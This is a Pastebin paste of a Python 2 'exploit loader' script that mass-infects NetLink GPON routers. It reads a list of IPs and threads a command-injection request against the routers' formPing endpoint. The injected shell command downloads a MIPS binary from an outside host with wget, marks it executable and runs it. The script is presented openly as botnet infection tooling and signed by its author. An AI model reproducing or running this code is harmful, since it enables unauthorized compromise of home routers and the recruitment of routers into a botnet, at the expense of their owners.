xB4ckdoorREAL

[NETLINK GPON ROUTER EXPLOIT LOADER] [RCE]

May 28th, 2020
730
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.11 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. # NetLINK GPON ROUTERS LOADER MADE BY B4CKDOOR #
  4. # B4CKDOORARCHIVE.CLUB [NEWDOMAIN] | JOIN DISCORD BY WEBSITE INVITE LINK #
  5. import threading, sys, time, random, socket, re, os, struct, array, requests
  6. from threading import Thread
  7. from time import sleep
  8. import requests
  9. from requests.auth import HTTPDigestAuth
  10. from decimal import *
  11.  
  12. if len(sys.argv) < 2:
  13.     print "\033[37mUsage: python "+sys.argv[0]+" <list>\033[37m"
  14.     sys.exit()
  15.  
  16. ips = open(sys.argv[1], "r").readlines()
  17.  
  18. payload = 'cd /tmp; wget http://1.3.3.7/mips; chmod 777 mips; ./mips netlink.mips'
  19.  
  20. class b4ckdoor(threading.Thread):
  21.         def __init__ (self, ip):
  22.             threading.Thread.__init__(self)
  23.             self.ip = str(ip).rstrip('\n')
  24.         def run(self):
  25.             try:
  26.                 print "[NetGPON] INFECTING - " + self.ip
  27.                 url = "http://" + self.ip + "/boaform/admin/formPing?target_addr=;'+payload+' /&waninf=1_INTERNET_R_VID_154"  
  28.                 requests.post(url, timeout=2)
  29.  
  30.             except Exception as e:
  31.                 pass
  32. for ip in ips:
  33.     try:
  34.         n = b4ckdoor(ip)
  35.         n.start()
  36.         time.sleep(0.03)
  37.     except:
  38.         pass#CODED BY B4CKDOOR
Add Comment
Please, Sign In to add comment